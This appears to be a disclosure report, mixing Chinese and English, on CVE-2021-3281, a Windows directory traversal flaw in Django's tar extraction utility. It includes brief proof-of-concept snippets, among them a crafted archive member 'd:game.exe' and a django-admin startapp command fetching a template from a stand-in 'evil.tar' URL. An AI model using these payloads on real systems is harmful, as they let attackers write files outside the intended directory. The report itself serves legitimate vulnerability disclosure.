在 django.utils.archive.py 的 TarArchive 类中，存在一个目录遍历漏洞，位于 lineno:171。
函数调用 os.path.join(to_path, name) 没有检查参数 "name"，如果在 Windows 平台上使用该工具，就会存在目录遍历风险，POC 如下：
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
Python/Lib/tarfile.py 中也存在相同的问题：
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
并且文档给出了警告，参见 https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281
https://www.djangoproject.com/weblog/2021/feb/01/security-releases/